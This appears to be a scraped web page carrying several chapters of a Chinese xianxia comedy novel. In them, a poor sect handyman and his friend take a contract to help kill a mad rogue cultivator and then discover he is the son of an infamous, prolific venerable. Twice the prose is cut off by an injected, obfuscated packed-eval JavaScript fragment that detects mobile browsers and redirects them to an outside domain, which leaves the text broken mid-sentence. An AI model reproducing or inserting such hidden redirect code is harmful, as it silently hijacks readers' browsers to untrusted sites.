自然大家也就不会知道在这个举宗上下都在为那二人的喜事感叹祝福时,会有一个杂役与大家背道而驰,反为此病情加重。 温昭这一场伤病下去,后来将崖底带回来的十几只野猪吃了个干干净净,伤势才终于大好。 由此可见食补的重要性,可见这十几只野猪的重要性。若是没有这十几只野猪,那定然要另出钱去买点鸡鸭鹅来补补身体,如此一来,这很难说温昭的伤势会不会持续恶化下去。 因为本来只是被打了一顿最后弄成这个病重模样,说来说去都是为了钱。他要是舍得出买鸡鸭鹅的钱,此次根本就不会病得这样重。 这一日,白云如狗,挂在头顶,身体大好的温昭收到了沈回溪的传音。 沈回溪便是那位想要杀了那个疯散修的医修。 沈回溪表示,一万两金铢已准备妥当,不知温昭伤势修养得如何了,如果伤势已经大好,便大家出来喝个小酒,商量一个黄道吉日,将那散修引出来,一刀宰了。 温昭和榆笙听了对方的话,一时之间,神色都有点为难。 这桩生意,温昭接的时候完全是被金钱的光芒闪瞎了脑子,如今正儿八经要做起这桩生意来,才不得不承认难度着实不小,压力很大。 因为他们要找到一个可以打退散修别让他一时太激动把温昭打死的帮手,基本找不到。 纵观整个天泽宗,用修为把人粗暴分类的话,姑且可以分为两类,一类是天泽宗的长老,一类是天泽宗的公仪无冽。 这显然表明了,要找一个可与散修一战的帮手,他们要么去请天泽宗的长老,要么去请公仪无冽。而不用脑子也知道这两类人都是不差钱的主,灵石多得可以用来丢着玩,砸着玩,砍着玩,何况区区一万两金铢。如果他们出手了,死的人不作他想,非温昭和榆笙这两侮辱他们的人莫属。 碍于这个帮手着实难找,温昭和榆笙只得寄希望于沈回溪看着病病歪歪,风吹就倒,实际是个扫地僧深藏不露,一剑就能把那散修劈回娘胎。 他们这么想了,也就对着沈回溪问了,二人都面露憧憬。 沈回溪回答得很干脆:“不是他死就是我死。” 温昭:“……” 榆笙:“……” 这真是一个令人无法放下心来的答案。 二人沉默过后,觉得不能如此坐以待毙,束手被打,硬碰硬比武力拼不过,不妨智取。 于是温昭又问了:“那散修有没有弱点?” 沈回溪的声音清清润润从传音石里传来:“一个疯子能有什么弱点。” 这话原本没问题,一个疯子能有什么弱点呢。 可是温昭却想到一件事,疯子扬言要全天下丑人为他老婆陪葬,这说明他的老婆很可能是他的弱点。 但如果这样做的话,胜了也实属胜之不武,有点缺德。那散修本就是一个疯子了,这点上他们作为不是疯子的正常人,本已经占了优势。 温昭想,他能想到的事,沈回溪不可能想不到,他既然没有提这件事,那就证明他不想靠着阴谋诡计去终结那个散修的性命。 断了和沈回溪的传音后,温昭和榆笙都开始思考这桩生意究竟要怎么才能完成。 榆笙不想做这桩生意了,这不奇怪,他从一开始就不赞成温昭做这桩生意。 温昭却认为事情并没有到那么糟糕的地步,就算他被散修打,也未必就真的会被打死,一个疯子的行事和行为逻辑是不可预测的,万一那天他打着打着有蝴蝶在面前飞过,就放弃打死温昭,去追蝴蝶了呢? 由蝴蝶开始发散思维,温昭倏然眼前一亮。 人找不到,天泽宗的后山却有许多野生的灵兽,如果用手脚灵活的灵兽扰乱散修的注意力未必不可行。 温昭将这个想法告诉了榆笙,榆笙没什么意见,扭头找王木匠给温昭预订了一副檀木棺材后,当天就和他去了后山。 他们二人藏在后山一块大石上,屏息凝神,打量眼前时不时出没的灵兽。 首先好看的不做考虑,散修既然扬言杀尽天下丑人,说明对丑深恶痛绝,对长得丑的动物应当同理。灵兽越丑才越能吸引他的注意力。 温昭和榆笙就这么等啊等,等一个让他们眼前一丑的丑灵兽,等得实在无聊。 头顶太阳太大,晒得他们昏昏欲睡,等他们睡了一觉后醒来,好在皇天不负有心人,终于给他们等来了一只丑灵兽。 温昭和榆笙看着这只丑灵兽忍不住心下齐齐发颤,丑,实在够丑,丑得惊天动地,丑得他们想扭头就跑。 撑着没跑看了一会儿后,榆笙忽然面色为难道:“我看着它看多了竟然看出了七分你的风姿。你叫我怎么忍心对它下手?” 温昭:“……” 温昭愤怒了,愤怒之下,从石头上一跃而起,要去降服这头灵兽。 当场被灵兽掀翻。 温昭被灵兽追得满地乱爬。 温昭爬向榆笙,面色痛苦道:“我也有点下不了手。” 榆笙:“……” 榆笙撸起袖子,加入战局,紧接着二人被灵兽追得满地乱爬。 不是下不了手,是根本找不到地方下手,这灵兽别看丑得让人心惊,身手也是一绝,着实凶猛,撵得温昭和榆笙满山乱跑,难以招架。 不过这一天,这只灵兽出门时可能忘了看黄历。谁能想到,这只灵兽把他们追得连滚带爬,追他们追得太高兴,一个没刹住脚,就这么兴奋地悲剧了,它把自己撞死在了一块石头上。 温昭:“……” 榆笙:“……” 温昭都快哭了,这死了上哪儿再去找这么丑的。 二人扑在灵兽身边心痛欲裂时,这时,忽然有一个师兄从远处大惊失色地跑了过来。 师兄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这下闯祸了。 若是林悠不高兴,把他们一剑砍了都不是事。他们的身份只是小小杂役,修真界本就弱肉强食,不讲道理。 听了榆笙的道歉,林悠没有说话,走到灵兽身边,确认了灵兽没了生息,脸色有点难看。 林悠冷声道:“你们为什么要杀它?” 温昭抓着榆笙紧张得发颤的手,稳了稳心神,尽量解释道:“对不起,我们不是故意的,不知道它是有人养的,不是成心想杀了它。” 就凭温昭和榆笙两个杂役的三脚猫修为也杀不死阿土,林悠心知此事,但依然心下有怒,道:“可今天它却因而你们而死。” 林悠说罢,看着公仪无冽蹙眉道:“师兄,阿土就这么死了,你说怎么处理这两人?” 温昭握着榆笙的手蓦然一紧。 公仪无冽脸上没有什么情绪,面色依然漫不经心,道:“你想怎么处理?” 林悠道:“他们就算无心之失,阿土的死也和他们难逃干系。但念在修行不易,就不逐出宗门了,每人打三十板子吧。” 公仪无冽不置可否,深如寒潭的双眸蕴出两道清冽目光在温昭身上散漫一扫,继而移向远处纷红骇绿,竹林花海。 没有听到公仪无冽的声音,他是同意了这个处罚。温昭跪在地上,将头埋得更低,对着林悠请求道:“今日之事,是我一人的主意,可不可以让我一人代他受罚?” 榆笙听了,连忙着急阻止。 林悠看了温昭一眼,懒得理会杂役之间的事,冷声道:“你既要代就代吧。” 林悠收了灵兽的尸体,看向公仪无冽:“师兄,我们走吧,去把阿土埋了。” 公仪无冽听罢,径直转身离去,步伐从容悠然,透着闲散沉静,像是世间之事,都入不了他的眼。 二人渐渐走远,不一会儿便消失在重重藤花后。 见人走了,榆笙愤怒道:“你做什么要代我?我不比你经打?你也不看看你多少岁了!” 温昭脸色白如纸张,笑道:“我出的馊主意,自然该我挨打。” 这时,方才尖叫的师兄催促道:“行了,行了,赶紧和我去受罚,打完了你们再回去掰扯。” 挨了六十板子,被送回小木屋后,温昭倒头就睡了过去。 这一日,又是被灵兽撵,又是被打,着实伤神。 半夜,温昭醒来,就见榆笙红着眼守在身边。 榆笙咬牙道:“下次你再这样逞能,就打死你算了。” 灯火如豆,温昭目光虚浮盯着房梁,不知道是不是被打傻了,嘴里胡言乱语道:“不过六十板子,打我六百板子,看我老不老实。” “打得好啊,这六十板子打得好啊,就当给他们结婚助兴了。” “打了我,他们以后也是生不出儿子的。” 榆笙:“……” 12. 纯洁 温昭再次病重,卧床修养。 八十七岁的孩子感到非常委屈。 一来,是因为公仪无冽。他知道自己在这件事上理亏,但他就是要无理取闹。 二来,是因为此番被打,再次赔出去了一笔医药费。 温昭泪流满面,为什么越想省钱,他的钱反而花出去得越快。他数了数自己这六十八年存下的月钱,越数心里越冰凉。 天泽宗作为一派大宗,天材地宝数不胜数,堆金砌玉,给杂役的月钱其实不少,换算成凡界的金银珠宝,更是一笔可观的收入。 但温昭难就难在,他每个月只有杂役三分之一的月钱,再加之他时不时还会出点状况,这钱就如流水哗啦哗啦流走了。 如今他的储物戒里,空旷得可以在里面养猪。 温昭颇为忧愁,因为在修真界和凡界中间,隔着一条界海。 界海水光接天,漫无边际,危机四伏,海中孕育着各种各样危险的海兽,有的身形巨大到堪称遮天蔽日,是以修为高深的修者都不敢单靠己身的力量,横穿界海,需要依靠专门渡海的灵船。 灵船是几大宗门,包括天泽宗在内,大家一起出力弄出来的渡海工具,每次出船上面都有不少高手坐镇,确保遇到危机时,不至于一船人都枉死在界海里。 为了抵挡海兽的攻击,灵船在建造时采用了高防御材料,上面同时遍布阵法和法器,耗资巨大,又每次出船,要请不少长老坐镇,以至于灵船的船票堪称天价船票。 当然了,这是针对修士从修真界进入凡界,收取的费用格外昂贵。 凡人从凡界进来修真界,便要少上不少。因为凡人和修士带来的危险程度是不一样的。哪怕是个筑基期修士,到了凡界都可以山中无老虎,随意屠戮一城一镇,大杀四方。 温昭如今的月钱买了船票,基本就所剩无几了,到了凡界后,可以当场往地上一趟,开始要饭。 哪个老年人的晚景是这样凄凉的? 哪个老年人一把年纪了,还要每天要饭? 活得如此窝囊,还不如死了算了。 温昭把储物戒收好,对那一万两金铢势在必得,被打死也没怨言,死了也免了过每天要饭的苦日子,活下来就赚了。 温昭杀害了林悠的灵兽以及被打六十板子一事,在天泽宗不胫而走。 大家对此的看法是,纷纷认为林悠人美心善,失去了爱宠,竟然只打了温昭六十板子,未免太过心慈手软,要换了他们,至少还得让温昭赔偿一笔精神损失费。 榆笙听了大家的说法后,却另有见解,他认为大家夸林悠心慈手软,是没有见过阿土的模样。他觉得归根结底在阿土长得太丑,林悠对它用情不深,以至于阿土一遭受难,也没人为它真心讨个公道。 温昭想,这可真是诛兽的心,好在阿土已经入土为安,听不见此番言论,不然叫它情何以堪,只怕要伤心一场。 温昭想做沈回溪的生意,但眼见着一只绝丑的灵兽已经被他们害得英年早逝,温昭也不敢再去后山抓灵兽了。 并且有了林悠的前车之鉴,他心下怀疑,这世间的天才可能约莫都有点匪夷所思的审美和个人爱好,后山那些灵兽越丑可能来头越大,他若侥幸抓个一两只,回头就得被打出宗门。 采用灵兽扰乱散修的计划就此破灭,好在温昭也并没有一蹶不振,并且在和榆笙分析之后,他们最后把希望寄托在了李管事身上。 因为李管事是个命硬之人。命之硬,已经送走了几个宗门。 听说他刚来天泽宗应聘时,还一度遭到了拒绝,后来天泽宗宗主认为不能如此封建迷信,转手就把李管事送进了一个敌对宗门,眼见着对方并没有因此灭宗,才失望地把李管事收入了门下。 温昭此次受罚,自然瞒不过李管事,于是在李管事上门时,把来龙去脉直接说给了李管事听。 温昭和榆笙分析过了,李管事接下这笔生意的希望不大,但也不是毫无希望,听说李管事家里那位最近做生意又赔了个底朝天,已经在门外敲了半个月的门,如今李管事家里正是急用钱的时候。 但李管事听完了他们的请求后,却是面色一变,呵斥道:“胡闹!” 李管事看着这两个不省心的,恨不得上手抽:“你们可知那散修是什么来头?” 温昭和榆笙面面相觑,这还真不知道,只知道他曾经是个天才,老婆没了后人就疯了,到处打人。 温昭看了李管事脸色,猜测着:“难道是宗门哪位长老的孩子?” 被李管事瞪了一眼。 李管事面色也颇为无语道:“是纯洁尊者的孩子。” “什么?”榆笙震惊不已,“那散修也是他的孩子?” 温昭愕然。 不怪温昭和榆笙震惊,这纯洁尊者可实在是太有名了。 要说整个修真界近些年来最长盛不衰的一个笑料,非一个人莫属。 这人便是赫赫有名的君子端方纯洁尊者,一位尊者里的奇葩,奇葩里的尊者。 在碧云,有一个不成文的规矩,修道之人成功踏上修行之路后,首要之事,便是给自己取上一个独一无二的道号。道号用于修道者之间交流相称,以示礼仪。 道号得名大多来自于家中长辈所赐,或者由自己所取,相传这纯洁尊者的道号,便是由他自己所取而得。他还不避讳,非常坦然地把道号由来说给众人听,宣扬得整个修真界无人不知此事,就连边荒懵懂的三岁小儿都知道修士里有一位自认纯洁的尊者。 若是这纯洁尊者真如他的道号一样纯洁,大家不过也就觉得他自恋,但大家现在纷纷觉得他不要脸。 因为纯洁尊者孩子已经三百个打底了。 如今已经是固定节目了,每隔上一段日子,纯洁尊者所在的万霞宗就要闹上一出小孩寻父的戏码,雷打不动,风吹不散,不是一般的坚若磐石,长盛不衰。 据不完全统计,万霞宗这两三百年轰轰烈烈的寻父寻下来,找上纯洁尊者认父的,至少三百多个孩子了。有时是孩子孤身一人千辛万苦来到万霞宗,有时是孤儿寡母相依为命搀扶而来,最离谱的是,这些前来认爹的孩子里,没一个是来浑水摸鱼的,这几百个孩子完完全全是纯洁尊者亲生的。 看着这个惊天动地的数字,整个修真界的修士都头晕目眩。 大家很是愤怒,就这还有脸叫自己纯洁尊者? 隔壁合欢宗全宗上下男女老少加起来捆一块儿,都没这玩意不要脸。 相传曾有看不顺眼纯洁尊者做派的尊者,在一场群英荟萃的道会上,毫不留情,指着纯洁尊者的鼻子破口大骂:“这么能生,当什么尊者,去凡界当种猪吧!” 至于那位尊者为什么这么不给纯洁尊者面子,当众雷霆暴怒,听说都是纯洁尊者的孩子闹的。 纯洁尊者这几百个孩子中,有碌碌无为平庸无奇的,有惊才绝艳名震大陆的,也有混世魔王惹是生非的,其中最令人脸色铁青的,可能是和纯洁尊者一样纯洁的。 据说纯洁尊者被人指着鼻子骂得狗血淋头,其实就是自己一个儿子纯洁出来的事,和那个宗门的某位夫人纯洁了一把,被人当场抓在床上,此事差点令两个宗门大打出手。 不久前,相传纯洁尊者刚把他第三百六十三个孩子领进了万霞宗,修真界好不热闹了一阵。 温昭也是没想到,那散修竟然也是纯洁尊者的孩子。 纯洁尊者如此纯洁还没有被打死,完全是因为他的修为特别高,他有多纯洁,他的修为就有多高。 这令许多人曾一度萎靡不振,认为老天实在不长眼,他们洁身自好,修身养性,有人还乐善好施,经常花高价船票,去凡界帮农户秋收夏种,抗灾救灾,大家却没有纯洁尊者一半修为,着实令人十分气愤。 李管事瞪着二人,说:“你们要杀了那散修,不说他爹了,三百多个兄弟,你们能打得赢几个?” 温昭:“……” 榆笙:“……” 温昭和榆笙想象了一下,如果那散修出门没看黄历不幸被他们杀死,他那三百多个兄弟雷霆震怒,轰隆隆打上天泽宗的场面,二人都忍不住一抖。 温昭抖着嗓子:“难怪沈回溪要出一万两金铢。” 榆笙抖着手脚:“一万两灵 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小皇子在花一样的年纪里邂逅了俊美风流的纯洁尊者,一颗芳心从此遗落,他拒绝了无数人的追求,一心痴念纯洁尊者将会来带他离开。 后来皇子没等来纯洁尊者,却等来了国破家亡,他从一国皇子沦落风尘。 他在青楼抚养孩子,受尽耻辱,终于心如死灰,将孩子托付给一个恩客后,便一把大火烧了青楼,葬身火海。 十八年后,白慕绥长大成人,还有了一身了不得的修为,在修真界一场盛世中横空出世,名扬大陆。 他是来复仇的,为他死去的父亲。 可惜,纵使他少年天才,他的修为却还是打不败纯洁尊者。他一生没有受过这个父亲的照拂,反倒因为这个父亲的风流总是被连累。 因为白慕绥倒霉地是纯洁尊者所有孩子里天资最出众的,于是成了活靶子,经常被纯洁尊者得罪的人暗中殴打,还被纯洁尊者的仇人抓了,困在一处折辱,令他只能和一个修士双修才能出去。 半年后,白慕绥和那修士出了被囚禁的洞府,他终于得以看见那位和他有着亲密关系的修士长了如何模样,谁知看了一眼就双眼一闭,吓晕了过去。 后来白慕绥还是娶了那位姓盛的修士,负起了责任,但少年桀骜,又自认有一身滔天的血海深仇要报,儿女情长会影响他复仇的速度,再加之老婆实在长得太丑,他自认心中柔情总是很难凝聚。 恰逢那位盛姓修士又性情刚烈,二人便活成了一对怨偶。 二人日常如下。 白慕绥捂着衣服:“元阳对修士来说十分珍贵,我们还是节制一点。” 盛姓修士翻着白眼:“你嫌我丑,我还嫌你连头牛都不如,连地都不会犁。” 白慕绥:“……” 白慕绥埋怨:“你今天出门怎么又不戴面纱?” 盛姓修士当即拖着白慕绥上了大街:“大家瞧一瞧,看一看啊,这位就是如今最年少有为的修行天才,我是他的老婆,他的老婆就是我!” 白慕绥:“……” 所有人:“……” 白慕绥当场捂脸跑走。 白慕绥越嫌弃老婆丑,他的老婆偏就越和他作对,甚至他老婆自印了数十万份二人成亲的肖像,在修真界分发,由于请的是某个画修作画,上面人物可谓是画得栩栩如生,以至于大家都知道他老婆很丑这一残忍现实。 白慕绥:“……” 白慕绥和那位盛姓修士针锋相对了很多年,却从来没有赢过一次。 但终于有一次,他赢了。 那一次,姓盛的修士,死在了秘境里。 所有人都以为白慕绥 死了老婆后,从此该高兴了,可以马上娶个漂亮温柔的老婆了,可是后来他再出现时,却是疯了。 再没有那个要复仇的天才少年,只有一个疯癫的散修。 这一疯就是百年。 13. 相遇 倘若把白慕绥这一生细细审视,便会发现,他凄惨的一生,完全是被他那个不负责任的爹坑成这样的,先是被坑苦坑死了父亲,后来给他坑来了个老婆,老婆又长得丑绝人寰,最后老婆还没了,他也跟着疯了。 倒霉成这样,真是令人扼腕。 如果纯洁尊者但凡少坑他儿子一点,白慕绥大抵本应有着精彩绝伦荡气回肠的一生,凭借得天独厚的天资修行一日千里,在修真界扬名立万后,不论将来是他宰了他老爹,还是他老爹宰了他,都不该是落得如今这个疯癫的模样。 由此可以得出两个结论。 第一:遇到坑爹的父母,对一辈子的危害真是不可估量。 第二:情之一事,未免太过伤人,对各路英雄豪杰的危害也是不可估量。 但这也只是温昭个人的猜测,因为他并不知道当年在那个秘境中到底发生了什么。 白慕绥的老婆为何而死,白慕绥究竟是因为老婆死了才疯了,还是其实是他不小心吃错了东西或者练错了功法自己把自己搞疯了。 甚至还有个可能,由于白慕绥和他老婆天天吵架,终于在一次大吵特吵后,二人开始冷战闹分居。分居后,白慕绥由于长时间没见过他老婆,冷不丁再次见到老婆,老婆太丑直接把他吓疯了,而后他老婆也被疯了的白慕绥砍死,最终酿成了这桩惨剧。 如果再极端一点的话,白慕绥的老婆也有可能根本不是死在秘境里。白慕绥因为嫌弃他老婆太丑,从而给他老婆找了个医修整容,结果遇到个庸医,就这么把他老婆整死了,他要杀了医修为他老婆报仇,却被医修下毒毒疯了。 可能性太多,而故事的真相到底是何种模样,也只有当年的白慕绥和他死去的老婆才知道了。 姑且不论白慕绥到底是怎么疯的,温昭的这桩生意却是彻底做不成了。 天泽宗给了他六十八年庇护,他再怎么都不能给天泽宗带来麻烦。 而杀了白慕绥无疑会给天泽宗带来不小的麻烦,极有可能应了李管事的命硬传说,导致天泽宗直接被灭宗。 人世间的事,从来找不到道理可言,谁能想得明白纯洁尊者一生风流逍遥,半点正事不干,修为却是鹤立鸡群的存在,曾在十几个大能的联合绞杀下,也安安稳稳活到了如今。他气得不少修士道心不稳,有的人还因此堕落,回凡界继承了皇位,不修这个劳什子仙了。 在送走了李管事后,温昭和榆笙便立刻联系了沈回溪。 温昭开门见山把白慕绥的身世告诉了沈回溪,他们也拿不准沈回溪是否知道这件事。 若是沈回溪知道还执意要杀白慕绥,只有一个解释,他可能不太想活了。 沈回溪的声音在传音石中显得有点幽远缥缈,他道:“我自然知道他的身世,你们放心,我没有想要连累你们,只是让你在街上随意逛逛便可,余下的事,你们就不用插手了。” 温昭想了想,还是忍不住劝道:“你杀不了他,反而很可能被他杀死,不如我们再修行几年再杀?” 沈回溪闻言,噗呲笑了:“修行之事,若是随意修一下就能修为突飞猛进,又怎么会有大限之说。” “你应该比我更有感受,修行了几十年还在练气初期,是你修行不够努力吗?” 温昭:“……” “我听说你们宗的第一美人他本来也是个五灵根,后来他的道侣给他换了一个双灵根,才修得了如今的修为。他这个道侣找得真是甚好,这修真界多少人求而不得的灵根,他却能轻易得到,羡煞旁人。” “你知道我为什么要杀白慕绥吗?他的单灵根留着也是浪费,不如让我一试,能否一用。” 温昭:“……” 温昭木然着断了和沈回溪的传音,他怎么会以为沈回溪不知道白慕绥身份,他连自己的底细都知道得一清二楚。 温昭决定最近不出宗门了,如果他不出宗门就遇不上白慕绥,那么沈回溪应该也就和白慕绥遇不上。 白慕绥疯了后疯疯癫癫,他躲个几天,可能白慕绥就不知道晃悠到哪里去了,如同上次一样一去就是十几年不知所踪。 温昭不知道沈回溪和白慕绥之间有什么必须你死我活的恩怨,他做不到眼睁睁看着一个大活人去送死。 虽然这很可能只是他自作多情,沈回溪作为医修,除了救死扶伤,应当也是有能力杀人的,他可能真能杀了白慕绥。但白慕绥一死,很难保证纯洁尊者会不会为此大怒,若是他一怒之下,带上他三百多个孩子大闹修真界,只怕大家的日子都不会好过。 为了大家的日子好过,只能暂时让沈回溪的日子不好过了。 温昭不想出宗门,却终究不得不出。 公仪无冽将要和林悠结为道侣,此事很快便传遍了整个修真界。 听说天泽宗一时之间收到了诸多宗门的探问,宗里也已经在挑选良辰吉日,筹谋哪一天适合二人举办成婚大典。 不过在举办成婚大典前,有一件事,须得提前完成。 近些年来,修真界的成婚大典上,几乎都可以找到一个人的身影,画修凌陌云。 也不知道是不是巧合, 还是真有什么玄学,凡是经由凌陌云作过画的道侣,无不都鸾凤和鸣,恩爱异常。以至于他现在已经成为了专职给道侣作画的吉祥物,有修士要成婚,必然会想法请他来作上一副画。 随着凌陌云的生意火爆,他分身乏术,便渐渐提出了各种各样的要求,只有满足了他的要求,他才会纡尊降贵去作画。 公仪无冽和林悠此次结为道侣,也将请凌陌云作画,求一个白头相守,比肩相亲。 在得到天泽宗的邀请后,凌陌云一视同仁,提了一个要求。而后这个要求层层传递下来,砸到了温昭头上。 温昭:“……” 这真是一件让人无法形容的事。 自己喜欢的人要和别人成婚了,在这种本该极致伤痛的时刻,却还残忍得让他帮他们求琴瑟之好,求天长地久。 若是温昭心智不坚定,一时想不开,便可以帮他们求一个血溅当场。 温昭有心想要拒绝,但奈何凌陌云提的这个要求,目前整个宗门只有他能完成。 虽说他是一个废材杂役,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375592|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某些时候,却也有不可替代的作用。 而这个作用,细算起来,也和公仪无冽有着千丝万缕的关系。 这一日,温昭戴着李管事送的悍匪头套,在大家一言难尽的目光中,和榆笙偷偷出了宗门。 一路上,温昭和榆笙走得提心吊胆,心惊胆战,生怕白慕绥忽然从某个地方跳出来,一掌劈飞温昭。 幸而一路上并没有意外发生,二人顺利地来到了目的地。 只见此地是一片沼泽之地,绿草如茵,姚黄魏紫,波光粼粼的水面之上,一群红毛白喙体态轻盈纤细的鸟,正婀娜多姿在水面上舒展身体,优雅得不能更优雅。 然而,这群优雅的鸟,在看见温昭之后,却是一只只张着翅膀猛然朝着温昭飞了过来,并且在过程中一翅膀扇飞榆笙,随后一群鸟将温昭团团围了起来,圆溜溜的大眼睛看着温昭笑得前仰后合,嘴里嘎吱嘎吱乱叫。 温昭:“……” 榆笙:“……” 温昭神色麻木地任由这群鸟对着他大开嘲讽。 这是一种名叫翩然鸟的鸟,寿命悠长,智商有几岁孩童的智商,性格顽皮,恶劣,它们的蛋是世间一道难寻的美味。 翩然鸟只会在心情极度愉悦时才会下蛋,没人知道它们什么时候会高兴,要怎么才算高兴,几年几十年都不下蛋的情况也时常发生。 偏巧天泽宗有几位长老非常喜欢吃翩然鸟的蛋,以至于李管事不得不为了得到一个鸟蛋费尽心思,然而百般讨好这群鸟都没用,甚至还总是被追着打。 直到有一天李管事在屡战屡败后,带着温昭来了一趟。那一天,李管事喜极而泣,腰杆挺得笔直,带着几十个蛋回了天泽宗。 温昭一脸麻木地坐在了草地上,任由这群鸟笑开了花,一边嘲笑他一边下蛋。 榆笙则在包围圈外,从鸟屁股底下手忙脚乱地往储物戒里捡着鸟蛋。 那专职给道侣作画的凌陌云此次点了一道菜,做那道菜需要的食材之一便是翩然鸟的蛋。而整个天泽宗只有温昭才能让翩然鸟心情愉悦心甘情愿下蛋,以至于这趟差事才非他莫属。 弄到了翩然鸟的蛋后,温昭顶着一身鸟毛,和榆笙回程的路上,一路都很沉默。 榆笙试图安慰温昭:“往好点想,虽然它们有点过分,但它们至少没有打你。” “我们今天出来也还算顺利,这次回去后……” 谁知榆笙的话还没说完,温昭忽然从他眼中飞了出去。 榆笙:“……” 温昭在地上滚了一圈后,捂着胸口,眼冒金星抬头一看。只见他面前立着一个人,正是那散修白慕绥。 温昭:“……” 榆笙:“……” 温昭当场往地上一趟,眼一睁,腿一蹬。 这日子不过了。 而在那散修要对温昭出第二掌时,一道人影倏然出现,挡在温昭身前,接下了白慕绥的攻击。 罡风掀起来人的青衣,风中传来阵阵咳嗽声,是沈回溪。 绕是温昭不想他们遇上,却终究抵不过命运,他们还是遇上了。 15. 凌陌云 面前这踩着花瓣从天而降的红衣男子,着实长得不赖,以至于他做出如此油腻的动作和表情,并未让温昭油然而生一种冲动,一种脱了鞋抽对方脸的冲动。 温昭觉得自己可能有点流年不利。 他不确定面前这个骚包的红衣帅哥是单纯的审美独特,还是他身上公仪无冽送给他的这个法器可能快失效了。 想一想,这个法器到如今已经使用了六十八年了,听着使用年限是不算短了,但对比那些动不动就使用上百年上千年的法器,这点时间其实也算不得什么。 并且凭着公仪无冽的本事,他炼的法器用个百年也本该不成问题,若是失效就只有一种可能了。 偷工减料,残次品。 这个法器,当年公仪无冽是从别人手中买的半成品再加工后送给他的,若是原材料就有问题,那么如今失效就能解释得通了。 温昭:“……” 温昭叹气,若是法器真的快过了保质期,这可真是一个让人为难的消息,而其中又最是为难的是,随着六十八年过去,公仪无冽的身价必然水涨船高,且有价无市,他就是能一掷千金,约莫都排不上号让对方再给他炼一个法器,遑论他穷得一贫如洗,根本没有钱。 温昭心情一言难尽,但这会儿并不是纠结这个的时候。 温昭看了看眼前勾着嘴角含笑看着他的红衣男子,在心中酝酿了一下,顿时露出八颗牙齿,笑容灿烂,面露感激地道:“真人好功夫,接下来还要劳烦真人了!” 红衣男子被温昭这一笑,笑得摇着扇子的动作一顿,顿了片刻,他才重新恢复从容,低低轻笑道:“为美人解忧,何谈劳烦一说。” 温昭维持着灿烂的感激的笑容,接着就听到面前的红衣男子道:“在下复姓凌陌,单名一个云字,不知美人如何称呼?” 温昭:“……” 这笑忽然就有点维持不下去了。 凌陌云? 难道是那个吉祥物画修凌陌云? 因为他他才必须出来捡鸟蛋,还被打了一顿的凌陌云? 温昭知道他这迁怒是没道理的,也不能怪对方,毕竟对方并不知道这些事。 没想到这个人就是画修凌陌云。他只知道他作画厉害,没想到对方修为也这么高。 温昭说了自己的名字。 凌陌云闻言,摇着扇子,眸中盈满了笑意:“这个名字倒是甚好,充满了简洁大气之美。” 温昭忍不住嘴角抽了抽。 一旁听着二人对话的榆笙嘴角也抽了抽,一脸风中凌乱。 显然在温昭,榆笙,沈回溪这三人中,要说能让人一见倾心的大美人,那毫无疑问非沈回溪莫属。这个红衣男子到底眼睛瞎成了什么模样,才能对着温昭都笑得那么浪荡。 榆笙实属不能理解,李铁匠是因为娶不到老婆,沈回溪是为了卖药,那么这个红衣男子又是为了什么? 在二人说话时,天空有阴影袭来,是白慕绥。 凌陌云身形一动,已是挡在温昭身前,翩翩身姿望着白慕绥,沉声道:“暗黑兄,这可就是你的不对了,你怎么能对美人这么粗鲁。尊夫人不幸蒙难,我知你心中难过,但是你如今这番情状,你妻子若是见了,怕是只会觉得,迟来的深情如此丢人,只会赶紧将你休夫罢了。” “丢人你知道吗?” 温昭:“……” 榆笙:“……” 沈回溪:“……” 显然凌陌云除了一身好修为,还有一张可以说话不好听的嘴,换了其他人,怕是已经被他的话说得恼羞成怒,大打出手,奈何这番话说给白慕绥听,便是对牛弹琴。 不过白慕绥纵使听不懂,动手却是没落下,对着凌陌云也不在收敛修为,能将山峦倾倒的力量朝着凌陌云碾压而去。 剑意盖天而来,凌陌云却还不急不缓,拉过温昭的胳膊,将一瓶丹药放进他手中:“放心吃,无毒。吃了就不痛了。” 温昭一愣,便见凌陌云纵身一跃,迎上了白慕绥。 二人的身法快得如幻影,法术交织,山谷里全是金光流淌,飞沙走石,落叶纷飞。 温昭和榆笙仿佛又看到了那一天公仪无冽和白慕绥对战的画面。 无可置疑,凌陌云修为高深,实力很强,可惜年纪轻轻,眼睛却是不好。也不知道他这双眼睛是天生有疾,还是后天受伤造成的,若是后天受伤,实属令人担忧,因为他很有可能,走上和白慕绥一样的凄惨之路。 可以想象一下,眼睛后天受伤的凌陌云,在审美畸形扭曲下,他满心欢喜娶了一个他以为惊为天人实则丑得让人心碎的老婆。他还沾沾自喜,高兴至极,忽而有一天眼睛突然被治好了,这本是喜事一桩,他却惊惧发现自己一往情深的美丽老婆其实丑得目不忍睹,接下来二人便开始虐心虐身,虐来虐去,虐得死去活来,最后凌陌云就把自己虐成了另一个白慕绥。 着实令人为他担忧。 温昭和榆笙见着那两人在天上地下斗法,斗得不可开交,斗得短时间内难分胜负,并没有出现凌陌云几招就被白慕绥打死的惨剧,二人不由得都松了一口气。 温昭和榆笙转而去察看沈回溪的情况。 沈回溪的情况很不好,好看的一张脸白得像是落了一场簌簌雪花。 温昭看着他,实在觉得奇怪。若是他想杀了一个人,必定会在杀人前准备周全,杀人的法器,护身的法器,治伤的丹药,一个不少。可是他看沈回溪的模样,却像是什么都没准备,他就这样空落落着一身来了,说是来杀人,更像是来找死。 沈回溪细长的一双眉下,秋水一样的眼睛远远将白慕绥望着,瞳孔中盛满了那道高大混乱的身影。 